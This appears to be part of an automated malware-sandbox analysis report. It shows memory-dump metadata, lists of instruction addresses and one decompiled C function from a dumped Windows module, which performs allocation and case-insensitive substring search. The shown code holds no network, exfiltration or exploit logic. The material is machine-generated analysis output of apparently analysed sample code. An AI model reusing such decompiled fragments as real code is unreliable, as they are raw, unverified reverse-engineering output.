0x6ed52e20
0x00000000
0x6ed5287e
0x6ed52807
0x6ed5280a
0x6ed5280c
0x6ed5280e
0x00000000
0x00000000
0x6ed52810
0x6ed52814
0x6ed52814
0x6ed52816
0x6ed5281a
0x6ed5281d
0x6ed5281d
0x6ed5281e
0x6ed52823
0x6ed52827
0x6ed52829
0x00000000
0x00000000
0x6ed5282b
0x6ed5282f
0x6ed52832
0x6ed52834
0x00000000
0x00000000
0x00000000
0x6ed52834
0x6ed52836
0x6ed5283a
0x6ed5283e
0x00000000
0x6ed5283e
0x6ed52801
0x6ed527bf
0x00000000
0x6ed527bf
0x6ed5273b
0x6ed5273b
0x6ed5273e
0x6ed52756
0x6ed5275a
0x6ed52766
0x6ed52766
0x6ed5276c
0x6ed5276c
0x6ed52771
0x6ed52775
0x6ed52779
0x6ed5277b
0x00000000
0x00000000
0x6ed52781
0x6ed52784
0x6ed52786
0x00000000
0x00000000
0x6ed52788
0x6ed5278e
0x6ed527a3
0x6ed527a3
0x6ed527a8
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed52790
0x6ed52790
0x6ed52790
0x6ed52794
0x00000000
0x00000000
0x6ed5279a
0x6ed5279b
0x6ed527a1
0x00000000
0x00000000
0x00000000
0x6ed527a1
0x6ed52e25
0x6ed52e25
0x6ed52e28
0x6ed52e36
0x6ed52e2a
0x6ed52e2a
0x6ed52e2d
0x6ed52e2d
0x00000000
0x6ed52e28
0x6ed52e40
0x6ed52e43
0x00000000
0x6ed52e43
0x6ed52742
0x6ed52744
0x6ed52744
0x6ed52747
0x6ed52747
0x6ed5274b
0x00000000
0x00000000
0x6ed52751
0x6ed52752
0x6ed52754
0x00000000
0x00000000
0x00000000
0x6ed52754
0x00000000
0x6ed52747
0x6ed52728
0x00000000
0x6ed52728
0x6ed526de
0x6ed52704
0x6ed52704
0x6ed52706
0x6ed52707
0x6ed5270c
0x00000000
0x6ed5270c
0x6ed526e0
0x6ed526e3
0x6ed526e7
0x00000000
0x00000000
0x6ed526e9
0x6ed526eb
0x6ed526eb
0x6ed526ec
0x6ed526f1
0x6ed526f7
0x00000000
0x00000000
0x6ed526f9
0x6ed526fd
0x6ed52702
0x00000000
0x00000000
0x00000000
0x6ed52702
0x00000000

Strings

@, xrefs: 6ED52718

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 933df8fe11205ce58da33e9f299d6ed847c0e435b40f8ebfae3a0afc1ac406fd
Instruction ID: 953ccd828d720c0915a1e9df20ce4dedd0468d94208b5db76881ca9c4b76fd18
Opcode Fuzzy Hash: 933df8fe11205ce58da33e9f299d6ed847c0e435b40f8ebfae3a0afc1ac406fd
Instruction Fuzzy Hash: 3C325C71A08393CBDB15CFA8C49032E7BF26FC6318F18866DD8E55B395DA34C9598782

Uniqueness

Uniqueness Score: -1.00%

Function 6ED51730, Relevance: 1.9, Strings: 1, Instructions: 649
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E6ED51730(unsigned int __ecx, void* __eflags, signed int* _a4, char _a8) {
				signed int _v32;
				signed int _v36;
				signed int _v40;
				void _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				unsigned int _v68;
				char* _t181;
				signed int _t182;
				signed int* _t188;
				signed int _t192;
				signed int* _t193;
				signed int _t198;
				signed int _t202;
				signed int _t205;
				void* _t206;
				signed int _t211;
				signed int _t214;
				signed int _t226;
				signed int _t228;
				signed int _t233;
				signed int _t236;
				signed int _t237;
				signed int _t240;
				signed int _t241;
				signed int _t244;
				signed int _t245;
				signed int _t251;
				signed int _t252;
				signed int _t258;
				signed int _t260;
				signed int _t261;
				char _t262;
				char _t263;
				signed int _t264;
				signed int _t265;
				void* _t268;
				signed int _t270;
				char _t272;
				unsigned int _t275;
				signed int _t276;
				signed int _t279;
				intOrPtr* _t280;
				signed int _t281;
				signed int _t282;
				signed int _t283;
				signed int _t284;
				signed int _t286;
				signed int _t287;
				signed int _t288;
				void* _t289;
				signed int _t290;
				signed int _t291;
				signed int _t292;
				signed int _t294;
				intOrPtr* _t295;
				void* _t296;
				signed int _t297;
				intOrPtr* _t298;
				signed int _t299;
				signed int _t300;
				void* _t301;
				signed int _t303;
				signed int _t309;
				signed int _t312;
				signed int _t314;
				signed int _t320;
				signed int _t321;
				signed int _t323;
				signed int _t324;
				void* _t325;
				signed int _t326;
				signed int _t327;
				signed int _t330;
				signed int* _t331;
				void* _t332;
				signed int _t333;
				signed int _t334;
				signed int _t335;
				signed int _t339;
				intOrPtr* _t341;
				signed int _t342;
				signed int _t343;
				signed int _t347;
				char _t349;
				char _t350;
				char _t351;
				unsigned int _t353;
				signed int _t355;
				signed int _t356;
				signed int _t360;
				signed int _t361;
				signed int _t363;
				unsigned int _t368;
				signed int _t370;
				signed int _t372;
				signed int _t377;
				signed int _t378;
				signed int _t379;
				signed int _t382;
				signed int _t386;
				signed int _t387;
				signed int _t388;
				void* _t391;

				_v56 = 0;
				_t353 = __ecx;
				_v52 = 0;
				_push(0x40);
				_t363 = E6ED41030();
				_t391 = (_t388 & 0xfffffff0) - 0x34 + 4;
				_t181 = _v56;
				if(_t181 == 0) {
					 *_t363 = 0;
					L8:
					_t182 = _a8;
					_v52 = 0x40;
					_v56 = _t363;
					if(_t182 != 0) {
						__eflags = _t363;
						if(_t363 == 0) {
							_t260 = 0x40;
							_t240 = 0;
							L22:
							_t20 = _t240 + 2; // 0x80000001
							_t289 = _t20;
							__eflags = _t289 - 0x40;
							_t290 =  <=  ? 0x40 : _t289;
							__eflags = _t260 - _t290;
							if(_t260 < _t290) {
								_t368 = (_t290 >> 5 >> 0x1a) + _t290 >> 6;
								_t291 = _t290 & 0x8000003f;
								__eflags = _t291;
								if(_t291 < 0) {
									_t291 = (_t291 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t291;
								}
								__eflags = _t291;
								_t370 = _t368 + (0 | _t291 > 0x00000000) << 6;
								_push(_t370);
								_t261 = E6ED41030();
								_t391 = _t391 + 4;
								_t292 = _v56;
								__eflags = _t292;
								if(_t292 == 0) {
									 *_t261 = 0;
									goto L35;
								} else {
									__eflags = _t261;
									if(_t261 == 0) {
										L33:
										_push(1);
										_push(_t292);
										_v68 = _t261;
										E6ED410B0();
										_t261 = _v68;
										_t391 = _t391 + 8;
										L35:
										_v52 = _t370;
										_v56 = _t261;
										L36:
										 *((char*)(_t261 + _t240)) = _a8;
										_t188 =  &_v56;
										 *((char*)(_t240 +  *_t188 + 1)) = 0;
										L37:
										_t294 =  *_t188;
										if(_t294 == 0) {
											L39:
											_t295 = _a4;
											_push(0x40);
											 *_t295 = 0;
											 *((intOrPtr*)(_t295 + 4)) = 0;
											_t241 = E6ED41030();
											_t391 = _t391 + 4;
											_t192 =  *_a4;
											if(_t192 == 0) {
												 *_t241 = 0;
												L60:
												_t193 = _a4;
												 *_t193 = _t241;
												_t193[1] = 0x40;
												L61:
												_push(1);
												_push(_v56);
												E6ED410B0();
												_v56 = 0;
												_v52 = 0;
												return _a4;
											}
											if(_t241 == 0) {
												L45:
												_push(1);
												_push(_t192);
												E6ED410B0();
												_t391 = _t391 + 8;
												goto L60;
											}
											_t296 =  *_t192;
											 *_t241 = _t296;
											if(_t296 == 0) {
												goto L45;
											}
											_t297 = 0;
											while(1) {
												_t297 = _t297 + 1;
												_t262 =  *((char*)(_t192 + _t297 * 2 - 1));
												 *((char*)(_t241 + _t297 * 2 - 1)) = _t262;
												if(_t262 == 0) {
													goto L45;
												}
												_t263 =  *((char*)(_t192 + _t297 * 2));
												 *((char*)(_t241 + _t297 * 2)) = _t263;
												if(_t263 != 0) {
													continue;
												}
												goto L45;
											}
											goto L45;
										}
										_t198 =  *_t294;
										if(_t198 != 0) {
											_t355 =  *_t353;
											__eflags = _t355;
											if(_t355 == 0) {
												L52:
												_t298 = _a4;
												_push(0x40);
												 *_t298 = 0;
												 *((intOrPtr*)(_t298 + 4)) = 0;
												_t241 = E6ED41030();
												_t391 = _t391 + 4;
												_t202 =  *_a4;
												__eflags = _t202;
												if(_t202 == 0) {
													 *_t241 = 0;
													goto L60;
												}
												__eflags = _t241;
												if(_t241 == 0) {
													L58:
													_push(1);
													_push(_t202);
													E6ED410B0();
													_t391 = _t391 + 8;
													goto L60;
												}
												_t299 =  *_t202;
												 *_t241 = _t299;
												__eflags = _t299;
												if(_t299 == 0) {
													goto L58;
												}
												_t300 = 0;
												__eflags = 0;
												while(1) {
													_t300 = _t300 + 1;
													_t264 =  *((char*)(_t202 + _t300 * 2 - 1));
													 *(_t241 + _t300 * 2 - 1) = _t264;
													__eflags = _t264;
													if(_t264 == 0) {
														goto L58;
													}
													_t265 =  *((char*)(_t202 + _t300 * 2));
													 *(_t241 + _t300 * 2) = _t265;
													__eflags = _t265;
													if(_t265 != 0) {
														continue;
													}
													goto L58;
												}
												goto L58;
											}
											__eflags =  *_t355;
											if( *_t355 == 0) {
												goto L52;
											}
											_v48 = _t198;
											_t372 = _t198 - 0x41;
											__eflags = _t372 - 0x19;
											_v64 = _t372;
											_t267 =  >  ? _t198 : _t198 + 0x20;
											_t243 =  >  ? _t198 : _t198 + 0x20;
											_t268 = 0;
											__eflags = 0;
											_v68 =  >  ? _t198 : _t198 + 0x20;
											_v36 = _t294;
											_t244 = _t355;
											while(1) {
												_t301 =  *_t244;
												__eflags = _t301 - 0x41 - 0x19;
												_t302 =  <=  ? _t301 + 0x20 : _t301;
												__eflags = ( <=  ? _t301 + 0x20 : _t301) - _v68;
												if(( <=  ? _t301 + 0x20 : _t301) == _v68) {
													break;
												}
												_t268 = _t268 + 1;
												_t244 = _t244 + 1;
												__eflags =  *((char*)(_t268 + _t355));
												if( *((char*)(_t268 + _t355)) != 0) {
													continue;
												}
												goto L52;
											}
											_t205 = _v48;
											_t303 = _v36;
											__eflags = _t244;
											if(_t244 == 0) {
												goto L52;
											}
											_t270 = _t303 & 0x0000000f;
											_v44 = _t205 + 0x20;
											asm("pxor xmm0, xmm0");
											_v40 = _t355;
											_t377 =  ~_t270 + 0x10;
											__eflags = _t377;
											_v48 = _t205;
											_v36 = _t303;
											do {
												_t356 = _t270;
												__eflags = _t270;
												if(_t270 == 0) {
													L69:
													_v32 = _t377;
													_t309 =  ~( ~_t356 + 0x0000000f & 0x0000000f) + 0x7fffffff;
													__eflags = _t309;
													_t378 = _v36;
													while(1) {
														asm("movdqu xmm1, [esi+edi]");
														asm("pcmpeqb xmm1, xmm0");
														asm("pmovmskb eax, xmm1");
														__eflags = _t205;
														if(_t205 != 0) {
															break;
														}
														_t356 = _t356 + 0x10;
														__eflags = _t356 - _t309;
														if(_t356 < _t309) {
															continue;
														}
														_v36 = _t378;
														_t379 = _v32;
														__eflags = _t309 - 0x7fffffff;
														if(_t309 >= 0x7fffffff) {
															L77:
															_t309 = 0x7fffffff;
															L78:
															_v60 = _t309;
															_t206 = 0;
															__eflags = 0;
															_v68 = _t270;
															_v32 = _t379;
															while(1) {
																_t310 =  *((char*)(_t206 + _t244));
																_t272 =  *((char*)(_t206 + _v36));
																_t110 = _t310 - 0x61; // 0x7fffff9e
																__eflags = _t110 - 0x19;
																_t111 = _t310 - 0x20; // 0x7fffffdf
																_t311 =  <=  ? _t111 :  *((char*)(_t206 + _t244));
																__eflags = _t272 - 0x61 - 0x19;
																_t312 =  <=  ? _t111 :  *((char*)(_t206 + _t244));
																_t273 =  <=  ? _t272 - 0x20 : _t272;
																_t274 =  <=  ? _t272 - 0x20 : _t272;
																__eflags = _t312 - ( <=  ? _t272 - 0x20 : _t272);
																if(__eflags < 0 || __eflags > 0) {
																	break;
																}
																__eflags = _t312;
																if(_t312 == 0) {
																	L83:
																	_t360 = _v40;
																	__eflags = _t244;
																	if(_t244 == 0) {
																		goto L52;
																	}
																	_t245 = _t244 - _t360;
																	__eflags = _t245;
																	if(_t245 != 0) {
																		_t279 = _t360 & 0x0000000f;
																		__eflags = _t279;
																		if(_t279 == 0) {
																			L97:
																			_t320 =  ~( ~_t279 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																			__eflags = _t320;
																			while(1) {
																				asm("movdqu xmm1, [edi+ecx]");
																				asm("pcmpeqb xmm1, xmm0");
																				asm("pmovmskb eax, xmm1");
																				__eflags = _t205;
																				if(_t205 != 0) {
																					break;
																				}
																				_t279 = _t279 + 0x10;
																				__eflags = _t279 - _t320;
																				if(_t279 < _t320) {
																					continue;
																				}
																				__eflags = _t320 - 0x7fffffff;
																				if(_t320 >= 0x7fffffff) {
																					L103:
																					_t320 = 0x7fffffff;
																					L104:
																					_t211 = _t320 >> 0x0000001f & _t320;
																					_t321 = _t320 - _t211;
																					__eflags = _t245;
																					if(_t245 < 0) {
																						L106:
																						_t245 = _t321;
																						L107:
																						_t280 = _a4;
																						 *_t280 = 0;
																						 *((intOrPtr*)(_t280 + 4)) = 0;
																						_t386 = _t211 + _t360;
																						__eflags = _t386;
																						_v64 = _t386;
																						if(_t386 == 0) {
																							L141:
																							_push(0x40);
																							_t241 = E6ED41030();
																							_t391 = _t391 + 4;
																							_t214 =  *_a4;
																							__eflags = _t214;
																							if(_t214 == 0) {
																								 *_t241 = 0;
																								goto L60;
																							}
																							__eflags = _t241;
																							if(_t241 == 0) {
																								L147:
																								_push(1);
																								_push(_t214);
																								E6ED410B0();
																								_t391 = _t391 + 8;
																								goto L60;
																							}
																							_t323 =  *_t214;
																							 *_t241 = _t323;
																							__eflags = _t323;
																							if(_t323 == 0) {
																								goto L147;
																							}
																							_t324 = 0;
																							__eflags = 0;
																							while(1) {
																								_t324 = _t324 + 1;
																								_t281 =  *((char*)(_t214 + _t324 * 2 - 1));
																								 *(_t241 + _t324 * 2 - 1) = _t281;
																								__eflags = _t281;
																								if(_t281 == 0) {
																									goto L147;
																								}
																								_t282 =  *((char*)(_t214 + _t324 * 2));
																								 *(_t241 + _t324 * 2) = _t282;
																								__eflags = _t282;
																								if(_t282 != 0) {
																									continue;
																								}
																								goto L147;
																							}
																							goto L147;
																						}
																						__eflags =  *(_t360 + _t211);
																						if( *(_t360 + _t211) == 0) {
																							goto L141;
																						}
																						__eflags = _t245;
																						if(_t245 != 0) {
																							L121:
																							_t137 = _t245 + 1; // 0x80000000
																							_t325 = _t137;
																							__eflags = _t325 - 0x40;
																							_t326 =  <=  ? 0x40 : _t325;
																							__eflags = _t326;
																							if(_t326 > 0) {
																								_v68 = (_t326 >> 5 >> 0x1a) + _t326 >> 6;
																								_t327 = _t326 & 0x8000003f;
																								__eflags = _t327;
																								if(_t327 < 0) {
																									_t327 = (_t327 - 0x00000001 | 0xffffffc0) + 1;
																									__eflags = _t327;
																								}
																								__eflags = _t327;
																								_t330 = _v68 + (0 | _t327 > 0x00000000) << 6;
																								_v68 = _t330;
																								_push(_t330);
																								_t387 = E6ED41030();
																								_t391 = _t391 + 4;
																								_t226 =  *_a4;
																								__eflags = _t226;
																								if(_t226 == 0) {
																									 *_t387 = 0;
																									goto L133;
																								} else {
																									__eflags = _t387;
																									if(_t387 == 0) {
																										L131:
																										_push(1);
																										_push(_t226);
																										E6ED410B0();
																										_t391 = _t391 + 8;
																										L133:
																										_t331 = _a4;
																										_t331[1] = _v68;
																										 *_t331 = _t387;
																										L134:
																										__eflags = _t387;
																										if(_t387 == 0) {
																											goto L61;
																										}
																										_t283 = _v64;
																										_t332 = 0;
																										while(1) {
																											_t228 =  *_t283;
																											_t332 = _t332 + 1;
																											 *_t387 = _t228;
																											__eflags = _t245;
																											if(_t245 == 0) {
																												goto L139;
																											}
																											__eflags = _t332 - _t245;
																											if(_t332 == _t245) {
																												 *(_t387 + 1) = 0;
																												goto L61;
																											}
																											L139:
																											__eflags = _t228;
																											if(_t228 == 0) {
																												goto L61;
																											}
																											_t387 = _t387 + 1;
																											_t283 = _t283 + 1;
																											__eflags = _t283;
																										}
																									}
																									_t333 =  *_t226;
																									 *_t387 = _t333;
																									__eflags = _t333;
																									if(_t333 == 0) {
																										goto L131;
																									}
																									_t284 = 0;
																									__eflags = 0;
																									while(1) {
																										_t284 = _t284 + 1;
																										_t334 =  *((char*)(_t226 + _t284 * 2 - 1));
																										 *(_t387 + _t284 * 2 - 1) = _t334;
																										__eflags = _t334;
																										if(_t334 == 0) {
																											goto L131;
																										}
																										_t335 =  *((char*)(_t226 + _t284 * 2));
																										 *(_t387 + _t284 * 2) = _t335;
																										__eflags = _t335;
																										if(_t335 != 0) {
																											continue;
																										}
																										goto L131;
																									}
																									goto L131;
																								}
																							}
																							_t387 = 0;
																							goto L134;
																						}
																						_t361 = _t360 + _t211;
																						_t339 = _t361 & 0x0000000f;
																						__eflags = _t339;
																						if(_t339 == 0) {
																							L114:
																							_t245 =  ~( ~_t339 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																							__eflags = _t245;
																							while(1) {
																								asm("movdqu xmm1, [edi+edx]");
																								asm("pcmpeqb xmm1, xmm0");
																								asm("pmovmskb eax, xmm1");
																								__eflags = _t211;
																								if(_t211 != 0) {
																									break;
																								}
																								_t339 = _t339 + 0x10;
																								__eflags = _t339 - _t245;
																								if(_t339 < _t245) {
																									continue;
																								}
																								__eflags = _t245 - 0x7fffffff;
																								if(_t245 >= 0x7fffffff) {
																									L120:
																									_t245 = 0x7fffffff;
																									goto L121;
																								} else {
																									goto L118;
																								}
																								while(1) {
																									L118:
																									__eflags =  *((char*)(_t245 + _t361));
																									if( *((char*)(_t245 + _t361)) == 0) {
																										goto L121;
																									}
																									_t245 = _t245 + 1;
																									__eflags = _t245 - 0x7fffffff;
																									if(_t245 < 0x7fffffff) {
																										continue;
																									}
																									goto L120;
																								}
																								goto L121;
																							}
																							asm("bsf ebx, eax");
																							_t245 = _t245 + _t339;
																							goto L121;
																						}
																						_t245 = 0;
																						_t339 =  ~_t339 + 0x10;
																						__eflags = _t339;
																						while(1) {
																							__eflags =  *((char*)(_t245 + _t361));
																							if( *((char*)(_t245 + _t361)) == 0) {
																								goto L121;
																							}
																							_t245 = _t245 + 1;
																							__eflags = _t245 - _t339;
																							if(_t245 < _t339) {
																								continue;
																							}
																							goto L114;
																						}
																						goto L121;
																					}
																					__eflags = _t245 - _t321;
																					if(_t245 <= _t321) {
																						goto L107;
																					}
																					goto L106;
																				} else {
																					goto L101;
																				}
																				while(1) {
																					L101:
																					__eflags =  *((char*)(_t320 + _t360));
																					if( *((char*)(_t320 + _t360)) == 0) {
																						goto L104;
																					}
																					_t320 = _t320 + 1;
																					__eflags = _t320 - 0x7fffffff;
																					if(_t320 < 0x7fffffff) {
																						continue;
																					}
																					goto L103;
																				}
																				goto L104;
																			}
																			asm("bsf edx, eax");
																			_t320 = _t320 + _t279;
																			goto L104;
																		}
																		_t320 = 0;
																		_t279 =  ~_t279 + 0x10;
																		__eflags = _t279;
																		while(1) {
																			__eflags =  *((char*)(_t320 + _t360));
																			if( *((char*)(_t320 + _t360)) == 0) {
																				goto L104;
																			}
																			_t320 = _t320 + 1;
																			__eflags = _t320 - _t279;
																			if(_t320 < _t279) {
																				continue;
																			}
																			goto L97;
																		}
																		goto L104;
																	}
																	_t341 = _a4;
																	_push(0x40);
																	 *_t341 = 0;
																	 *((intOrPtr*)(_t341 + 4)) = 0;
																	_t241 = E6ED41030();
																	_t391 = _t391 + 4;
																	_t233 =  *_a4;
																	__eflags = _t233;
																	if(_t233 == 0) {
																		 *_t241 = 0;
																		goto L60;
																	}
																	__eflags = _t241;
																	if(_t241 == 0) {
																		L91:
																		_push(1);
																		_push(_t233);
																		E6ED410B0();
																		_t391 = _t391 + 8;
																		goto L60;
																	}
																	_t342 =  *_t233;
																	 *_t241 = _t342;
																	__eflags = _t342;
																	if(_t342 == 0) {
																		goto L91;
																	}
																	_t343 = 0;
																	__eflags = 0;
																	while(1) {
																		_t343 = _t343 + 1;
																		_t286 =  *((char*)(_t233 + _t343 * 2 - 1));
																		 *(_t241 + _t343 * 2 - 1) = _t286;
																		__eflags = _t286;
																		if(_t286 == 0) {
																			goto L91;
																		}
																		_t287 =  *((char*)(_t233 + _t343 * 2));
																		 *(_t241 + _t343 * 2) = _t287;
																		__eflags = _t287;
																		if(_t287 != 0) {
																			continue;
																		}
																		goto L91;
																	}
																	goto L91;
																}
																_t206 = _t206 + 1;
																__eflags = _t206 - _v60;
																if(_t206 < _v60) {
																	continue;
																}
																goto L83;
															}
															_t275 = _v68;
															_t382 = _v32;
															_t314 = _t244 + 1;
															__eflags = _t314;
															if(_t314 == 0) {
																goto L52;
															}
															__eflags = _v64 - 0x19;
															_t208 =  <=  ? _v44 : _v48;
															_t205 =  <=  ? _v44 : _v48;
															__eflags =  *(_t244 + 1);
															if( *(_t244 + 1) == 0) {
																goto L52;
															}
															_v68 = _t275;
															_v32 = _t382;
															while(1) {
																_t244 = _t244 + 1;
																_t314 = _t314 + 1;
																_t276 =  *_t244 & 0x000000ff;
																__eflags =  *((char*)(_t314 - 1)) + 0xffffffbf - 0x19;
																_t277 =  <=  ? _t276 + 0x20 : _t276;
																__eflags = ( <=  ? _t276 + 0x20 : _t276) - _t205;
																if(( <=  ? _t276 + 0x20 : _t276) == _t205) {
																	goto L163;
																}
																__eflags =  *_t314;
																if( *_t314 != 0) {
																	continue;
																}
																goto L52;
															}
															goto L163;
														}
														_t205 = _v36;
														while(1) {
															__eflags =  *((char*)(_t309 + _t205));
															if( *((char*)(_t309 + _t205)) == 0) {
																break;
															}
															_t309 = _t309 + 1;
															__eflags = _t309 - 0x7fffffff;
															if(_t309 < 0x7fffffff) {
																continue;
															}
															_v36 = _t205;
															goto L77;
														}
														L158:
														_v36 = _t205;
														L159:
														__eflags = _t309;
														if(__eflags == 0) {
															goto L77;
														}
														if(__eflags > 0) {
															goto L78;
														}
														goto L83;
													}
													asm("bsf edx, eax");
													_v36 = _t378;
													_t309 = _t309 + _t356;
													_t379 = _v32;
													goto L159;
												}
												_t205 = _v36;
												_t356 = _t377;
												_t309 = 0;
												__eflags = 0;
												while(1) {
													__eflags =  *((char*)(_t309 + _t205));
													if( *((char*)(_t309 + _t205)) == 0) {
														goto L158;
													}
													_t309 = _t309 + 1;
													__eflags = _t309 - _t377;
													if(_t309 < _t377) {
														continue;
													}
													_v36 = _t205;
													goto L69;
												}
												goto L158;
												L163:
												_t270 = _v68;
												_t377 = _v32;
												__eflags = _t244;
											} while (_t244 != 0);
											goto L52;
										}
										goto L39;
									}
									_t236 =  *_t292;
									 *_t261 = _t236;
									__eflags = _t236;
									if(_t236 == 0) {
										goto L33;
									}
									_v60 = _t370;
									_t237 = 0;
									__eflags = 0;
									_v64 = _t240;
									_v68 = _t353;
									while(1) {
										_t237 = _t237 + 1;
										_t251 =  *((char*)(_t292 + _t237 * 2 - 1));
										 *(_t261 + _t237 * 2 - 1) = _t251;
										__eflags = _t251;
										if(_t251 == 0) {
											break;
										}
										_t252 =  *((char*)(_t292 + _t237 * 2));
										 *(_t261 + _t237 * 2) = _t252;
										__eflags = _t252;
										if(_t252 != 0) {
											continue;
										}
										break;
									}
									_t370 = _v60;
									_t240 = _v64;
									_t353 = _v68;
									goto L33;
								}
							}
							_t261 = _v56;
							goto L36;
						}
						_t347 = _t363 & 0x0000000f;
						__eflags = _t347;
						if(_t347 == 0) {
							L15:
							asm("pxor xmm0, xmm0");
							_t258 =  ~( ~_t347 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							__eflags = _t258;
							while(1) {
								asm("movdqu xmm1, [esi+edx]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb eax, xmm1");
								__eflags = _t182;
								if(_t182 != 0) {
									break;
								}
								_t347 = _t347 + 0x10;
								__eflags = _t347 - _t258;
								if(_t347 < _t258) {
									continue;
								}
								__eflags = _t258 - 0x7fffffff;
								if(_t258 >= 0x7fffffff) {
									L21:
									_t260 = 0x40;
									_t240 = 0x7fffffff;
									goto L22;
								} else {
									goto L19;
								}
								while(1) {
									L19:
									__eflags =  *((char*)(_t258 + _t363));
									if( *((char*)(_t258 + _t363)) == 0) {
										break;
									}
									_t258 = _t258 + 1;
									__eflags = _t258 - 0x7fffffff;
									if(_t258 < 0x7fffffff) {
										continue;
									}
									goto L21;
								}
								L165:
								__eflags = _t240 - 0xfffffffe;
								if(_t240 != 0xfffffffe) {
									_t260 = 0x40;
								} else {
									 *_t363 = 0;
									_t260 = _v52;
								}
								goto L22;
							}
							asm("bsf ebx, eax");
							_t240 = _t258 + _t347;
							goto L165;
						}
						_t240 = 0;
						_t347 =  ~_t347 + 0x10;
						__eflags = _t347;
						while(1) {
							__eflags =  *((char*)(_t240 + _t363));
							if( *((char*)(_t240 + _t363)) == 0) {
								goto L165;
							}
							_t240 = _t240 + 1;
							__eflags = _t240 - _t347;
							if(_t240 < _t347) {
								continue;
							}
							goto L15;
						}
						goto L165;
					}
					_t188 =  &_v56;
					goto L37;
				}
				if(_t363 == 0) {
					L6:
					_push(1);
					_push(_t181);
					E6ED410B0();
					_t391 = _t391 + 8;
					goto L8;
				}
				_t349 =  *_t181;
				 *_t363 = _t349;
				if(_t349 == 0) {
					goto L6;
				}
				_t288 = 0;
				while(1) {
					_t288 = _t288 + 1;
					_t350 =  *((char*)(_t181 + _t288 * 2 - 1));
					 *((char*)(_t363 + _t288 * 2 - 1)) = _t350;
					if(_t350 == 0) {
						goto L6;
					}
					_t351 =  *((char*)(_t181 + _t288 * 2));
					 *((char*)(_t363 + _t288 * 2)) = _t351;
					if(_t351 != 0) {
						continue;
					}
					goto L6;
				}
				goto L6;
			}

0x6ed5173e
0x6ed51742
0x6ed51744
0x6ed51748
0x6ed5174f
0x6ed51751
0x6ed51754
0x6ed5175a
0x6ed51791
0x6ed51794
0x6ed51794
0x6ed51798
0x6ed517a0
0x6ed517a6
0x6ed517b1
0x6ed517b3
0x6ed51e9e
0x6ed51ea3
0x6ed5182d
0x6ed51832
0x6ed51832
0x6ed51835
0x6ed51838
0x6ed5183b
0x6ed5183d
0x6ed51852
0x6ed51855
0x6ed51855
0x6ed5185b
0x6ed51863
0x6ed51863
0x6ed51863
0x6ed51866
0x6ed5186d
0x6ed51870
0x6ed51876
0x6ed51878
0x6ed5187b
0x6ed5187f
0x6ed51881
0x6ed518d6
0x00000000
0x6ed51883
0x6ed51883
0x6ed51885
0x6ed518c1
0x6ed518c1
0x6ed518c3
0x6ed518c4
0x6ed518c8
0x6ed518cd
0x6ed518d1
0x6ed518d9
0x6ed518d9
0x6ed518dd
0x6ed518e1
0x6ed518e5
0x6ed518e8
0x6ed518ee
0x6ed518f3
0x6ed518f3
0x6ed518f7
0x6ed51900
0x6ed51900
0x6ed51905
0x6ed51907
0x6ed51909
0x6ed51911
0x6ed51913
0x6ed51919
0x6ed5191d
0x6ed51957
0x6ed51a03
0x6ed51a03
0x6ed51a06
0x6ed51a08
0x6ed51a0f
0x6ed51a0f
0x6ed51a11
0x6ed51a15
0x6ed51a1f
0x6ed51a23
0x6ed51a33
0x6ed51a33
0x6ed51921
0x6ed51947
0x6ed51947
0x6ed51949
0x6ed5194a
0x6ed5194f
0x00000000
0x6ed5194f
0x6ed51923
0x6ed51926
0x6ed5192a
0x00000000
0x00000000
0x6ed5192c
0x6ed5192e
0x6ed5192e
0x6ed5192f
0x6ed51934
0x6ed5193a
0x00000000
0x00000000
0x6ed5193c
0x6ed51940
0x6ed51945
0x00000000
0x00000000
0x00000000
0x6ed51945
0x00000000
0x6ed5192e
0x6ed518f9
0x6ed518fe
0x6ed5195f
0x6ed51961
0x6ed51963
0x6ed519ac
0x6ed519ac
0x6ed519b1
0x6ed519b3
0x6ed519b5
0x6ed519bd
0x6ed519bf
0x6ed519c5
0x6ed519c7
0x6ed519c9
0x6ed51a00
0x00000000
0x6ed51a00
0x6ed519cb
0x6ed519cd
0x6ed519f3
0x6ed519f3
0x6ed519f5
0x6ed519f6
0x6ed519fb
0x00000000
0x6ed519fb
0x6ed519cf
0x6ed519d2
0x6ed519d4
0x6ed519d6
0x00000000
0x00000000
0x6ed519d8
0x6ed519d8
0x6ed519da
0x6ed519da
0x6ed519db
0x6ed519e0
0x6ed519e4
0x6ed519e6
0x00000000
0x00000000
0x6ed519e8
0x6ed519ec
0x6ed519ef
0x6ed519f1
0x00000000
0x00000000
0x00000000
0x6ed519f1
0x00000000
0x6ed519da
0x6ed51965
0x6ed51968
0x00000000
0x00000000
0x6ed5196a
0x6ed5196e
0x6ed51971
0x6ed51977
0x6ed5197b
0x6ed5197e
0x6ed51981
0x6ed51981
0x6ed51983
0x6ed51986
0x6ed5198a
0x6ed5198c
0x6ed5198c
0x6ed51992
0x6ed51998
0x6ed5199b
0x6ed5199e
0x00000000
0x00000000
0x6ed519a4
0x6ed519a5
0x6ed519a6
0x6ed519aa
0x00000000
0x00000000
0x00000000
0x6ed519aa
0x6ed51a36
0x6ed51a3a
0x6ed51a3e
0x6ed51a40
0x00000000
0x00000000
0x6ed51a4b
0x6ed51a4e
0x6ed51a56
0x6ed51a5a
0x6ed51a5e
0x6ed51a5e
0x6ed51a61
0x6ed51a65
0x6ed51a69
0x6ed51a69
0x6ed51a6b
0x6ed51a6d
0x6ed51a8a
0x6ed51a96
0x6ed51a9a
0x6ed51a9a
0x6ed51aa0
0x6ed51aa4
0x6ed51aa4
0x6ed51aa9
0x6ed51aad
0x6ed51ab1
0x6ed51ab3
0x00000000
0x00000000
